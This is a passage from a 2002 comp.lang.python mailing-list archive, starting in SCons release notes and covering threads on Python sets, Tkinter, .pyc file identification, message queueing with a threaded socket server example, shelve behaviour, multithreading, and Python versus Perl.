arguments to create ad-hoc attributes for use by function Actions, Builder emitter functions, or command generators. - Builders can now take an emitter= argument to specify a function for massaging the target and source file lists. - Command generators can now return anything that can be made into an Action, and take a for_signature argument to support returning separate contents for signature generation vs. execution. - Support for building shared libraries has been added. - Support for Win32 .def files has been added. - SCons now supports long MSVC linker command lines through use of a temporary file. - A Split() function has been added to support explicit splitting of space-separated strings into individual file names. (The automatic splitting that SCons does will go away in 0.08). - An SConscriptChdir() method has been added to support automatically changing to each SConscript file's directory. - A new --debug=dtree option prints out only derived files. - A new --implicit-cache option caches dependency signatures of files. - A new .abspath construction variable modifier has been added. - $SOURCE is now a synonym for ${SOURCES[0]}. - Python modules can now be imported into an SConscript file from its local directory. The following fixes have been added: - The -c option now deletes .h files generated by yacc. - Relative CPPPATH directories were broken in 0.06; now fixed. - The -n option used with -c now properly does not remove targets. - .c and .C files are now treated the same on case-insensitive (Win32) systems. - The PDF builder now uses pdftex or pdflatex directly instead of going through a .dvi intermediate file. - The --debug=tree option now works with directory targets. - .sconsign files are now written on error or interrupt to save intermediate build results. - Aliases now work with the -u, -U and -D options. - Nodes can now be passed to SConscript files. Performance has been improved as follows: - Construction variable substitution has been optimized. - Content signatures are now cached for each file. The following changes have been made to the SCons packaging: - The scons.bat file has been improved to support more than nine arguments on Win32 systems that support it. - The Debian package has been updated. WHAT IS SCONS? SCons is a software construction tool (build tool, or make tool) written in Python. Its design is based on the design which won the Software Carpentry build tool competition in August 2000 (in turn derived from the Perl-based Cons build tool). Distinctive features of SCons include: - configuration files are Python scripts, allowing the full use of a real scripting language to solve build problems - a modular architecture allows the SCons Build Engine to be embedded in other Python software - a global view of all dependencies; no multiple passes to get everything built - the ability to scan files for implicit dependencies (#include files); - improved parallel build (-j) support - use of MD5 signatures to decide if a file has changed - easily extensible through user-defined Builder and Scanner objects - build actions can be Python code, as well as external commands An scons-users mailing list has been created for those interested in getting started using SCons. You can subscribe at: http://lists.sourceforge.net/lists/listinfo/scons-users Alternatively, we invite you to subscribe to the low-volume scons-announce mailing list to receive notification when new versions of SCons become available: http://lists.sourceforge.net/lists/listinfo/scons-announce ACKNOWLEDGEMENTS Special thanks to Chad Austin, Charles Crain, Alex Jacques, Steve Leblanc, Anthony Roach, and Moshe Zadke for their contributions to this release. On behalf of the SCons team, --SK From sholden at holdenweb.com Sun May 19 15:37:47 2002 From: sholden at holdenweb.com (Steve Holden) Date: Sun, 19 May 2002 15:37:47 -0400 Subject: PEP 218 Re: ANN: set-0.1 module available References: <3CE55E8B.1B80EBE3@alcyone.com> Message-ID: "Fernando P?rez" wrote ... > James J. Besemer wrote: > > > Actually Denis seemed to be suggesting that sets themselves should be > > immutable so they could Serve as dictionary keys. I think it's very > > plausable that sets would be used in this manner.. > > I beg to differ. Mathematically, there's nothing in the idea of a set that > makes it immutable. I know that Python is not a mathematics-only language, > but much of the cleanliness of its design does come from following abstract > ideas as much as is reasonable. And enforcing immutability on a set is one > hell of a breakage for an object as basic to many mathematical ideas as a set > is. > Well, mathematically there's nothing in the idea of a tuple that implies mutability, but we have lists and tuple because it is convenient to have two similar sequence types, one of which is mutable and the other of which is not. So it probably isn't useful to argue from mathematics when what you are taking about is the pragmatics of programming. > I guess if you want to insist on sets being usable as keys you might come up > with a pair of set-like types just like we have lists/tuples. But if sets are > ever going to be part of the language, _please_ don't make them immutable. In > my mind, that's like saying that you add integers to a language but you can't > do arithmetic with them ;) > Bearing in mind that Python does indeed allow you to do arithmetic with integers which are immutable, I'm wondering if you might not need to look for a rather better analogy. I believe (without any worked-out justification) that Python could actually perform exactly the same comutations as it does now even if lists were removed: it would simply be more awkward and less efficient to compute with tuples, which are immutable. If sets were to become a Python type I would expect that it would be useful to have both mutable and immutable variants, in just the same way as the sequences do. The strings are a degenerate example (IMHO), because they are the only sequence type in Python where type(s[n]) == type(s) for any valid n (I know I've not expressed that well: what I'm trying to say is that it's a little bizarre for strings to be sequences of strings of length one. It works, but it's a little bizarre). regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From marklists at mceahern.com Wed May 8 19:12:02 2002 From: marklists at mceahern.com (Mark McEahern) Date: Wed, 8 May 2002 18:12:02 -0500 Subject: comparing lists In-Reply-To: Message-ID: [Paul Magwene] > If you know you're dealing with lists of strings why don't you use the > "join" methods in the string module. Thanks. I hadn't thought of that. Sadly, it won't work for me because as I said my comparison is order-insensitive whereas your approach is order-sensitive. Cheers, // mark From dkt at registriesltd.com.au Thu May 30 19:43:13 2002 From: dkt at registriesltd.com.au (David K. Trudgett) Date: Fri, 31 May 2002 09:43:13 +1000 Subject: matching one time through a loop In-Reply-To: ; from tdelaney@avaya.com on Fri, May 31, 2002 at 09:32:49AM +1000 References: Message-ID: <20020531094313.P2276@regdp-02.intint.registriesltd.com.au> On Friday 2002-05-31 at 09:32:49 +1000, Delaney, Timothy wrote: > > depends, was it naive perl too? > > Well, on that point, isn't all perl naive, in the sense that there is no > expectation that anyone else will read it? > > Explicit for those who can't read smileys ... ;) Perhaps the hardest part of Perl for beginners to read is regular expressions. What syntax does Python use for regular expressions? ;-) David Trudgett From markus.vonehr at ipm.fhg.de Tue May 28 05:06:36 2002 From: markus.vonehr at ipm.fhg.de (Markus von Ehr) Date: Tue, 28 May 2002 11:06:36 +0200 Subject: Tkinter focused widget References: Message-ID: <3CF3489C.24BC7B8D@ipm.fhg.de> Look at the docs: www.pythonware.com/library/tkinter/ an-introduction-to-tkinter.pdf David Allen schrieb: > Just a quick question: > > When using Tkinter (and/or Pmw since I'm using that in my application as > well) How do you determine which widget has keyboard/mouse focus? > > Also, how does one go about copying or removing text from the system > clipboard? (To implement cut/paste type operations) > > Any help would be appreciated. From glingl at aon.at Mon May 6 13:51:44 2002 From: glingl at aon.at (Gregor Lingl) Date: Mon, 6 May 2002 19:51:44 +0200 Subject: midi-support Message-ID: <3cd6c5d8$0$10100$6e365a64@newsreader02.highway.telekom.at> Hi! Does anybody know if there exist(s a) Python module(s) for midi-support, which work(s) under Python 2.2 (at least on Windows) ? Thanks, Gregor From dmitri.gouliaev at telkel.net Tue May 28 18:47:02 2002 From: dmitri.gouliaev at telkel.net (Dmitri I GOULIAEV) Date: Tue, 28 May 2002 17:47:02 -0500 Subject: Unix file(1) command identifing .pyc In-Reply-To: <67bc282e.0205281338.707d9664@posting.google.com>; from "drt" on Tue, May 28, 2002 at 02:38:59PM References: <67bc282e.0205281338.707d9664@posting.google.com> Message-ID: <20020528174702.A3922@lifebook> Hi, drt ! On Tue, May 28, 2002 at 02:38:59PM -0700, drt wrote: > I have added the magic numbers for python and > successfully tested on 2.2.1 and 2.1.3 on i386 and PowerPC machines. > Perhaps somebody has ancient Python versions or unusual machines to > further test this. dig at telkel.net:~/tmp$ cat /etc/slackware-version 7.1.0 dig at telkel.net:~/tmp$ file -v file-3.27 magic data from /etc/magic:/etc/magic dig at telkel.net:~/tmp$ python -v -c quit 2>&1 | grep Python Python 1.5.2 (#1, May 28 2000, 18:04:10) [GCC egcs-2.91.66 19990314/Linux (egcs- on linux2 dig at telkel.net:~/tmp$ file tmp.pyc tmp.pyc: data dig at telkel.net:~/tmp$ file -m c0re.jp/c0de/misc/file-3.38-magic-python tmp.pyc tmp.pyc: python post 1.5 development version compiled bytec dig at telkel.net:~/tmp$ Hope this help. Best regards, -- DIG (Dmitri I GOULIAEV) All below this line is added by my e-mail provider. -------------- next part -------------- 0000000 4e99 0a0d 0756 3cf4 0063 0000 0300 0000 0000020 7300 004a 0000 007f 7f00 0003 006b 5a00 0000040 0000 047f 6b00 0001 015a 7f00 0005 026b 0000060 5a00 0002 077f 6400 0000 0065 6900 0003 0000100 0166 6400 0001 0084 8300 0000 5a59 0004 0000120 147f 6400 0002 0084 5a00 0005 0364 5300 0000140 0428 0000 7300 000b 0000 7553 6570 5472 0000160 7268 6165 6364 0000 0000 0001 0002 2973 0000200 0000 7f00 0007 087f 6400 0001 0084 5a00 0000220 0000 0b7f 6400 0002 0084 5a00 0001 107f 0000240 6400 0003 0084 5a00 0002 5352 0428 0000 0000260 4e00 0163 0100 0200 0300 7300 0026 0000 0000300 087f 7f00 0009 0074 6900 0001 0269 7c00 0000320 0000 0183 0100 0a7f 6400 0001 007c 5f00 0000340 0004 0064 5300 0228 0000 4e00 0169 0000 0000360 2800 0005 0000 0973 0000 7400 7268 6165 0000400 6964 676e 0673 0000 5400 7268 6165 7364 0000420 0008 0000 5f5f 6e69 7469 5f5f 0473 0000 0000440 7300 6c65 7366 0007 0000 7572 6e6e 6e69 0000460 2867 0001 0000 0473 0000 7300 6c65 7366 0000500 0008 0000 2f2e 6d74 2e70 7970 0873 0000 0000520 5f00 695f 696e 5f74 085f 7300 0004 0000 0000540 0103 0113 0163 0100 0200 0300 7300 0046 0000560 0000 0b7f 7f00 000c 3978 7f00 000c 007c 0000600 6900 0001 2b6f 0100 0d7f 6400 0001 7f47 0000620 000e 0274 6900 0003 0469 8300 0000 7f01 0000640 000f 0574 6900 0006 0264 8300 0001 7101 0000660 0009 5701 0064 5300 0328 0000 4e00 0173 0000700 0000 2e00 0169 0000 2800 0007 0000 0473 0000720 0000 7300 6c65 7366 0007 0000 7572 6e6e 0000740 6e69 7367 0003 0000 7973 7373 0006 0000 0000760 7473 6f64 7475 0573 0000 6600 756c 6873 0001000 0473 0000 7400 6d69 7365 0005 0000 6c73 0001020 6565 2870 0001 0000 0473 0000 7300 6c65 0001040 7366 0008 0000 2f2e 6d74 2e70 7970 0373 0001060 0000 7200 6e75 000b 0a73 0000 0300 0601 0001100 0d00 0701 1001 6301 0001 0001 0002 0003 0001120 1373 0000 7f00 0010 117f 6400 0001 007c 0001140 5f00 0001 0064 5300 0228 0000 4e00 0069 0001160 0000 2800 0002 0000 0473 0000 7300 6c65 0001200 7366 0007 0000 7572 6e6e 6e69 2867 0001 0001220 0000 0473 0000 7300 6c65 7366 0008 0000 0001240 2f2e 6d74 2e70 7970 0473 0000 7300 6f74 0001260 1070 7300 0002 0000 0103 0328 0000 7300 0001300 0008 0000 5f5f 6e69 7469 5f5f 0373 0000 0001320 7200 6e75 0473 0000 7300 6f74 2870 0000 0001340 0000 0873 0000 2e00 742f 706d 702e 7379 0001360 000b 0000 7553 6570 5472 7268 6165 0764 0001400 7300 0006 0000 0103 030c 050c 0063 0100 0001420 0200 0300 7300 003d 0000 147f 7f00 0015 0001440 0074 8300 0000 007d 7f00 0016 007c 6900 0001460 0002 0083 0100 177f 7400 0003 0469 6400 0001500 0001 0183 0100 187f 7c00 0000 0569 8300 0001520 0000 6401 0000 2853 0002 0000 694e 000a 0001540 0000 0628 0000 7300 000b 0000 7553 6570 0001560 5472 7268 6165 7364 0001 0000 7374 0005 0001600 0000 7473 7261 7374 0004 0000 6974 656d 0001620 0573 0000 7300 656c 7065 0473 0000 7300 0001640 6f74 2870 0001 0000 0173 0000 7400 0873 0001660 0000 2e00 742f 706d 702e 7379 0004 0000 0001700 6574 7473 0014 0873 0000 0300 0c01 0d01 0001720 1001 4e01 0628 0000 7300 0009 0000 6874 0001740 6572 6461 6e69 7367 0004 0000 6974 656d 0001760 0373 0000 7300 7379 0673 0000 5400 7268 0002000 6165 7364 000b 0000 7553 6570 5472 7268 0002020 6165 7364 0004 0000 6574 7473 0028 0000 0002040 7300 0008 0000 2f2e 6d74 2e70 7970 0173 0002060 0000 3f00 0003 0873 0000 0c00 0901 0901 0002100 1c02 000d 0002103 From jhenry19 at ford.nospam Thu May 9 14:57:20 2002 From: jhenry19 at ford.nospam (Jeff Henry) Date: Thu, 09 May 2002 14:57:20 -0400 Subject: Python vs. Perl, which is better to learn? References: <82bsbvl5q1.fsf@acropolis.localdomain> <82adrehag0.fsf@acropolis.localdomain> <821ycqjayi.fsf@acropolis.localdomain> <3CD5F1CC.A65C4AE0@engcorp.com> <3CD77BF0.49C749B2@cascade-sys.com> <3CD8B28B.C610082@engcorp.com> <3CD92111.7060704@mxm.dk> <3CD9E0AB.BA39DE6C@cascade-sys.com> Message-ID: <3CDAC690.63F9E4E3@ford.nospam> Laura Creighton wrote: > > > James J. Besemer wrote: > > > > That's a very interesting point. > > > > Please enlighten us: what is the numeric ratio I would have to > > demonstrate so that the English adjective "many" fairly applies? > > Knock it off, Besemer. The English language gets levelled enough > wihtout you trying to rub the edges off 'interesting' and turn it > into Newspeak. Some of us need that word when we want to express > our interest in a subject. Frequently, we want to use it in > precisely the same context as you care to abuse it -- wow, somebody > disagreed with me and made me think new and interesting thoughts, > care to expand on this point some more? so it is quite important > to not let you get away with such things. > > But more importantly, nobody is interested in playing any status > games with you. > [snip] (/me looks around, confused) Oh, sorry, I was looking for c.l.python. Must have stumbled into c.l.perl.misc by mistake. (/me leaves, embarrassed) From huaiyu at gauss.almadan.ibm.com Thu May 23 21:56:57 2002 From: huaiyu at gauss.almadan.ibm.com (Huaiyu Zhu) Date: Fri, 24 May 2002 01:56:57 +0000 (UTC) Subject: OT: off-topic References: Message-ID: Andrew Dalke wrote: >Tim Golden: >> Isn't this similar to (someone-or-other's) proof that there's no such >thing >> as an uninteresting number? > ... >> However, the smallest number in this list is the smallest uninteresting >> number, and is therefore interesting, so it moves to the list of >interesting >> numbers, leaving you with the smallest remaining uninteresting number, >which >> therefore becomes interesting, etc. etc. > >Since we're off-topic... > >I heard this years ago. I've thought about it, and decided that the >proof depends on the concept of "sort" since there needs to be a "smallest." >Are there interesting vs. non-interesting sorts? Sorts are just numbers, >after all. > >Plus, all it really says is "interesting" doen't have a closed cover. >The values of interesting can approach but never be 0 ("uninteresting") >and for any positive value of "interesting" you can always find a >number which is less interesting than that. If real numbers are allowed in addition to 0 and 1 as membership values, most of these paradoxes can be solved. For example the liar's paradox has a truth value p that satisfies p == 1 - p, its solution being p = 1/2. Quite sensible, isn't it? But more general calculus along this direction has to be in the framework of probability rather than fuzzy logic, of course. Huaiyu From hmerrill at redhat.com Wed May 15 09:48:35 2002 From: hmerrill at redhat.com (Hardy Merrill) Date: Wed, 15 May 2002 09:48:35 -0400 Subject: Fwd: Re: expect Message-ID: <20020515094835.C16985@merrill.redhat.com> I replied to Cameron offline, but thought to be fair I'm forwarding my reply to the list... ----- Forwarded message from Hardy Merrill ----- > Date: Wed, 15 May 2002 09:26:35 -0400 > From: Hardy Merrill > To: Cameron Laird > Subject: Re: expect > > Cameron, > > I was probably a bit premature on my negative review > of docs, and the book, for "Expect". I am an expect > newbie, and I was looking for some examples to follow > for some pretty simple things I wanted to do. I found > almost no examples in the manpage, and not much more > in the book, and I couldn't find much online. I'll > admit that my search was pretty short-lived - I really > only worked with expect for maybe a week, but in my > mind the manpage should be nearly all that is necessary > to get a good feel for how to use a tool, and I > certainly didn't get that "good feel" from the > expect manpage, nor did I get that from my short > look through the "Exploring Expect" book. Admittedly > I probably didn't give the book the fair chance of > an in-depth read. > > Maybe my review would be a better one if I was > a tcl/tk person, but I'm not. I come from a Perl > background, and I didn't have an easy time at all > with the stuff I was trying to get working. > > Probably just me - my appologies - sounds like you > have more experience than I do with Expect, and with > "Exploring Expect". Again, just my initial reaction > to trying to accomplish a task by quickly reading > the manpage and the book. > > Cameron Laird [claird at starbase.neosoft.com] wrote: > > Are we talking about Expect, as the book documents > > it, or the Python expect module, or some platonic > > expect which presumably underlies both? > > My Expect comments were purely about Expect, not about > the Python expect module. > > > I'm wildly enthusiastic about *Exploring Expect*. > > I find it superlative, in several regards. > > I probably didn't give "Exploring Expect" a fair shake, > but my initial reaction was that its information > was only somewhat better than the manpage info. > > > In any case, all the other worthwhile information on > > the (Tcl-oriented) Expect should be available through > > . I doubt that > > anything there, though, will meet your threshold for > > "good docs". > > It's been a while since I worked with Expect, and I don't > recall if that was one of the sites I checked out, but > I'll save that link in case I do more work with Expect. > > -- > Hardy Merrill > Senior Software Engineer > Red Hat, Inc. ----- End forwarded message ----- From claird at neosoft.com Thu May 9 00:24:07 2002 From: claird at neosoft.com (Cameron Laird) Date: 8 May 2002 23:24:07 -0500 Subject: Dr. Dobb's Python-URL! - weekly Python news and links (May 8) Message-ID: <9CD6648A7ABD9A9D.13D6AC9D1262CCB8.E1BDE1D6C1DAA770@lp.airnews.net> QOTW: "the distinctive difference between PCs and other consumer electronics is that only PCs are allowed to fail in routine use." Peter Coffee More and more good Python articles are making it into magazines. http://www.sdmagazine.com/documents/s=7151/sdmcnf0204b/sdmcnf0204b.htm ActiveState releases a free Google module for the way-cool Google Web Service. http://ASPN.ActiveState.com/ASPN/WebServices/Google Stephen Figgins is also working in the WS area. http://www.onlamp.com/pub/a/python/2002/05/02/pythonnews.html COM threading and the Win32 message pump make it a challenge to program correct timeouts. Read the book. http://groups.google.com/groups?hl=en&frame=left&th=4d4a40338b058725 Remember: the point about generators and other 2.x enhancements is that they *simplify* coding. http://www.deadlybloodyserious.com/Python/2002/05/02.html#a722 'Wonder about all this "time machine" chatter? Timbot illustrates an instance. http://groups.google.com/groups?hl=en&frame=left&th=c13676bbf82ceea4 os.system() *should* be simple. Sometimes we need http://www.technet.com to keep Win* from making it otherwise. http://groups.google.com/groups?hl=en&frame=left&th=e22a3b23957f8614 Alex Martelli exhibits an irritation in shelve--along with a fix for it. http://groups.google.com/groups?hl=en&frame=left&th=1feae0041583e597 ======================================================================== Everything you want is probably one or two clicks away in these pages: Python.org's Python Language Website is the traditional center of Pythonia http://www.python.org Notice especially the master FAQ http://www.python.org/doc/FAQ.html PythonWare complements the digest you're reading with the daily python url http://www.pythonware.com/daily Mygale is a news-gathering webcrawler that specializes in (new) World-Wide Web articles related to Python. http://www.awaretek.com/nowak/mygale.html While cosmetically similar, Mygale and the Daily Python-URL are utterly different in their technologies and generally in their results. comp.lang.python.announce announces new Python software. Be sure to scan this newly-revitalized newsgroup at least weekly. http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python.announce Michael Hudson continued Andrew Kuchling's marvelous tradition of summarizing action on the python-dev mailing list once every other week, into July 2001. Any volunteers to re-start this valuable series? http://starship.python.net/crew/mwh/summaries/ http://www.amk.ca/python/dev The Vaults of Parnassus ambitiously collect Python resources http://www.vex.net/~x/parnassus/ Much of Python's real work takes place on Special-Interest Group mailing lists http://www.python.org/sigs/ The Python Software Foundation has replaced the Python Consortium as an independent nexus of activity http://www.python.org/psf/ Cetus does much of the same http://www.cetus-links.org/oo_python.html Python FAQTS http://python.faqts.com/ The old Python "To-Do List" now lives principally in a SourceForge reincarnation. http://sourceforge.net/tracker/?atid=355470&group_id=5470&func=browse http://python.sourceforge.net/peps/pep-0042.html The online Python Journal is posted at pythonjournal.cognizor.com. editor at pythonjournal.com and editor at pythonjournal.cognizor.com welcome submission of material that helps people's understanding of Python use, and offer Web presentation of your work. *Py: the Journal of the Python Language* http://www.pyzine.com Links2Go is a new semi-automated link collection; it's impressive what AI can generate http://www.links2go.com/search?search=python Tenth International Python Conference http://www.python10.org Archive probing tricks of the trade: http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python&num=100 http://groups.google.com/groups?meta=site%3Dgroups%26group%3Dcomp.lang.python.* Previous - (U)se the (R)esource, (L)uke! - messages are listed here: http://www.ddj.com/topics/pythonurl/ http://purl.org/thecliff/python/url.html (dormant) or http://groups.google.com/groups?oi=djq&as_q=+Python-URL!&as_ugroup=comp.lang.python Suggestions/corrections for next week's posting are always welcome. [http://www.egroups.com/list/python-url-leads/ is hibernating. Just e-mail us ideas directly.] To receive a new issue of this posting in e-mail each Monday morning, ask to subscribe. Mention "Python-URL!". -- The Python-URL! Team-- Dr. Dobb's Journal (http://www.ddj.com) is pleased to participate in and sponsor the "Python-URL!" project. -- Cameron Laird Business: http://www.Phaseit.net Personal: http://starbase.neosoft.com/~claird/home.html From ELabuschagne at gims.com Thu May 2 11:59:49 2002 From: ELabuschagne at gims.com (Etienne Labuschagne) Date: Thu, 2 May 2002 17:59:49 +0200 Subject: Message queueing Message-ID: Hi there, A Python Queue object won't work as this is an object that lives inside your program's address space. I need a queue that is used between different programs (the programs are not all nescessarily written in Python) to communicate with each other. The programs can literally sit in different countries and the messages they send each other must be guaranteed not get lost on the way. I must be able to send a message to another program, even if that program is currently offline (the message is stored until the program logs on again). This can be achieve by using e-mail as transport (I am actually investigating that avenue on Holger Krekel's advice). The reason why programmers use message queueing software rather than e-mail has probably to do with performance reasons and I also think that message queue connectors give a more natural programatic interface than packaging your message in a mime-encoded e-mail message and checking the inbox, etc. Regards Eti?nne Labuschagne -----Original Message----- From: James J. Besemer [mailto:jb at cascade-sys.com] Sent: Thursday, May 02, 2002 3:44 PM To: Etienne Labuschagne Cc: Python List (E-mail) Subject: Re: Message queueing This is just a shot in the dark, but have you looked at the "Queue" module? Chapter 7.6 in the libary reference. It's NOT AT ALL a window's message queue (if that's what you meant) but it can queue arbitrary data and if you have a place to shove windows messages in a multi-threading environment you could possibly include the queue in front to buffer incoming data. Below is sample code how I used it to queue incoming speech requests to the sound card. Hope it helps. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com import sys, os import socket, thread import Queue import string from select import * # the next two are my lower-level library routines from speak import * from playsounds import * # server port offered on localhost PORT=50011 HOST="" # two queues connect three threads ReaderQ = Queue.Queue() SpeakerQ = Queue.Queue() # Server thread accepts socket connects and passes # them on to the Reader. The idea is to accept sockets # as fast as possible (FWIW). Given the small number of # messages in this case, the separation between Server and Reader # is of dubious value. def Server(): s = socket.socket( socket.AF_INET, socket.SOCK_STREAM ) s.bind(( HOST, PORT )) speak( "Sound server is ready" ) while 1: s.listen(3) conn, addr = s.accept() ReaderQ.put(( conn, addr )) # Reader thread reads up all the data submitted by the client # and forwards it to the Speaker thread. def Reader(): while 1: conn, addr = ReaderQ.get() text = "" while 1: data = conn.recv( 1024 ) if not data: break text += data if text: SpeakerQ.put(( conn, text )) else: conn.close() # Speaker thread actually causes the speech to be emitted. # This is ultimately done by an external exe. Speaker can take several # seconds to perform each action, so the queue here is essential. # We send a return code back to the client before closing # the connection. def Speaker(): while 1: rc = -1 conn, data = SpeakerQ.get() items = data.split( "\n" ) for item in items: if not item: continue # if it looks like a filename # or has a "-f" prefix # then play WAV file # else speech to text if item[0] in ['.', '/']: rc = playsounds( item ) elif len( item ) > 2 and item[:2] == '-f': rc = playsounds( item[2:].strip()) else: rc = speak( item ) conn.send( str( rc ) + "\n" ) conn.close() # launch the threads # (Server runs as primary thread) def main(): try: thread.start_new_thread( Reader, ()) thread.start_new_thread( Speaker, ()) Server() finally: speak( "Sound Server is exiting" ) main() -------------- next part -------------- An HTML attachment was scrubbed... URL: From larooy at xtar.co.nz Sun May 26 02:31:44 2002 From: larooy at xtar.co.nz (John La Rooy) Date: Sun, 26 May 2002 18:31:44 +1200 Subject: Backwards emulation rather than backwards compatibility? References: <3CEF8E04.6040909@ix.netcom.com> Message-ID: <20020526183144.0973316a.larooy@xtar.co.nz> And 3.0 should have backward compatibility for 2.2 2.1 2.0 1.6 1.5.2 ...? I think it would be more practical to develop tools to help identify and perhaps even fix old code. Writing good unit tests will allow developers to be confident that a module is functioning correctly. John From chris at cmb-enterprises.com Sun May 12 22:48:28 2002 From: chris at cmb-enterprises.com (Chris) Date: Sun, 12 May 2002 22:48:28 -0400 Subject: python, a scripting language? References: Message-ID: In article , Fernando Perez wrote: > Erlend J. Leiknes wrote: > > > A friend of mine which is a java programmer insists on that python is > > scripting language... > > > > Tell your friend that C is a scripting language too. Seriously, it has > system(), so you can use it to 'script' other programs. And even when you don't use system() or sys.execute() or some such, any programming language is just "scripting" the compiler/assembler/linker. If I write the following, I'm still telling something else what to tell the CPU to do. #include int main(int argc, char *argv[]) { int i; for (i = 1; i < argc; i++) printf("%2d : %s\n", i, argv[i]); } To be safe, call them all programming languages, because they are. From logiplexsoftware at earthlink.net Fri May 24 15:59:54 2002 From: logiplexsoftware at earthlink.net (Cliff Wells) Date: Fri, 24 May 2002 12:59:54 -0700 Subject: multithreading In-Reply-To: <87661d6699.fsf@kursk.kassube.de> References: <3ce7e613$0$3732@echo-01.iinet.net.au> <87sn4n6gz9.fsf@kursk.kassube.de> <87661d6699.fsf@kursk.kassube.de> Message-ID: <20020524125954.0516ca25.logiplexsoftware@earthlink.net> On Fri, 24 May 2002 15:10:42 +0200 Nils Kassube wrote: > Cliff Wells writes: > > > I think this is a bit of an overstatement. Many problems are best > > expressed as multithreaded programs. Trying to solve a naturally > > multithreaded problem as a single-threaded app can be more complex > > and error-prone than the natural > > man fork > > Often you do not need shared memory space. Dealing with shared memory > and multiple threads can introduce subtle bugs that will be extremely > hard to reproduce. Using multiple processes is in many cases the > better solution (on real operating systems). True, but often you do need shared memory. If you don't, then fork is good, but if you do then you will have to start dealing with fifos, sockets or whatnot to share data between processes. This is at least as error-prone as threading and not as obvious to code. Honestly, I fail to comprehend the fear of threading often expressed by some people on this list. My first Python app was a multithreaded message server (in fact, the reason I tried Python was because Cygnus gcc didn't have thread support at the time). Not only was it my first Python app, but my first multithreaded app as well. While it wasn't perfect, it ran without problems and I encountered no real problems implementing it. My second app was a multithreaded GUI client (in Tkinter) for sending and receiving messages from that server. Still no real problems. I feel my programming skills are adequate, but not exceptional, so I expect that there are many problems that can be solved safely with a threaded app by someone willing to take the time to learn. Regards, -- Cliff Wells, Software Engineer Logiplex Corporation (www.logiplex.net) (503) 978-6726 x308 (800) 735-0555 x308 From fperez528 at yahoo.com Fri May 3 17:47:16 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Fri, 03 May 2002 15:47:16 -0600 Subject: Multidimensional arrays - how? References: <6vv4du8mu1hj59k7g0uq58r24mp74g02hu@4ax.com> Message-ID: delete .PL wrote: > Yes , but what if I would like to use string keys instead of numbers? > E.g. > > book, chapter, para = 'a', 'b', 'c' ? > > x = [[['para0', 'para1']]] # will not work as I wanted > > Nested lists are easer implemented in PHP, I am afraid. > $x['a']['b']['c'] = 'txt' works without any problem. No, it's just that in Python such a thing (a data structure indexable by string) is called a dictionary, not a list: In [3]: d={'a':{'b':{}}} In [4]: d['a']['b']['c']='txt' In [5]: d Out[5]: {'a': {'b': {'c': 'txt'}}} A dict can be arbitrarily nested, and its keys can be any hashable object (superficially, numbers, strings and tuples of such). Nothing wrong with the language or php's superiority, simply that in python things are done in a certain way (like everywhere else). Once you learn each language's idioms (true for _any_ language) things will feel natural, until then your background will make certain things feel 'hard'. It's the normal process of learning anything new. cheers, f. From loewis at informatik.hu-berlin.de Mon May 6 12:58:04 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 06 May 2002 18:58:04 +0200 Subject: References: <3CD61492.BD6F207C@engcorp.com> Message-ID: "Billy Ng" writes: > Thanks guys! I have one more question. In the xml doc, I have already > defined > > > > How come it still returns me unicode? Because the DOM is defined to operate on Unicode objects. Why do you think that declaring the encoding in the file should matter for that? Regards, Martin From emile at fenx.com Tue May 7 07:27:20 2002 From: emile at fenx.com (Emile van Sebille) Date: Tue, 07 May 2002 11:27:20 GMT Subject: survey: is shelve broken? should it be fixed? References: <8mMB8.12837$CN3.452004@news2.tin.it> Message-ID: "Alex Martelli" wrote in message news:8mMB8.12837$CN3.452004 at news2.tin.it... > Just checking if I'm the only one to feel that shelve seriosly violates the > principle of least astonishment when you shelve modifiable values: > > [alex at lancelot Lib]$ python > Python 2.2.1 (#1, Apr 15 2002, 17:55:14) > [GCC 2.96 20000731 (Mandrake Linux 8.1 2.96-0.62mdk)] on linux2 > Type "help", "copyright", "credits" or "license" for more information. > >>> import shelve > >>> s=shelve.open('ciao','c') > >>> s['ciao']=range(4) > >>> s['ciao'] > [0, 1, 2, 3] > >>> s['ciao'].append(23) > >>> s['ciao'] > [0, 1, 2, 3] > ...although, if you use in-place operators.... >>> s['ciao']+=[23] >>> s['ciao'] [0, 1, 2, 3, 23] +1 on the fix. -- Emile van Sebille emile at fenx.com --------- From pinard at iro.umontreal.ca Thu May 30 17:14:30 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 30 May 2002 17:14:30 -0400 Subject: Avoiding `exec', how to? In-Reply-To: <20020530225529.O17248@prim.han.de> References: <20020530225529.O17248@prim.han.de> Message-ID: [holger krekel] > module = __import__(__name__) > is the better way IMO. Indeed. Thanks again! > And it is desirable to avoid __*__ names if possible. I agree with you that when easily avoided, it is better avoiding them. Thanks to all of you for these stylistic discussions. Even if they may look like details to many, they are important to me, as they set habits meant to last for a long while. Good habits are source of some pleasure! -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From peter at engcorp.com Sun May 5 10:26:30 2002 From: peter at engcorp.com (Peter Hansen) Date: Sun, 05 May 2002 10:26:30 -0400 Subject: Looking for a scripting language References: <3cd49f78$0$355$9b622d9e@news.freenet.de> <3cd51348$0$151$9b622d9e@news.freenet.de> <3CD526E8.EA6CDBBF@engcorp.com> <3cd531be$0$19942$9b622d9e@news.freenet.de> Message-ID: <3CD54116.B435BB59@engcorp.com> deckerben wrote: > > > Then you can do all kinds of neat analysis of the stdout results > > of running the program. Other more sophisticated options follow > > on the heels of that experiment. > > That's really cool, by the way. What are the other experiments? I was just thinking of things like 'import popen' and regular expressions 'import re' and so on. You'll think of lots more ideas soon enough. -Peter From peter at engcorp.com Mon May 6 02:33:11 2002 From: peter at engcorp.com (Peter Hansen) Date: Mon, 06 May 2002 02:33:11 -0400 Subject: Python vs. Perl, which is better to learn? References: <3CD60E05.D9D8C1A6@engcorp.com> Message-ID: <3CD623A7.4EE48B14@engcorp.com> Chris wrote: > > In article , > Christopher Browne wrote: > > > Outside of that, I'd suggest that a lot of the problem comes from Perl > > having been a "hot, in-language" attracting a lot of bad 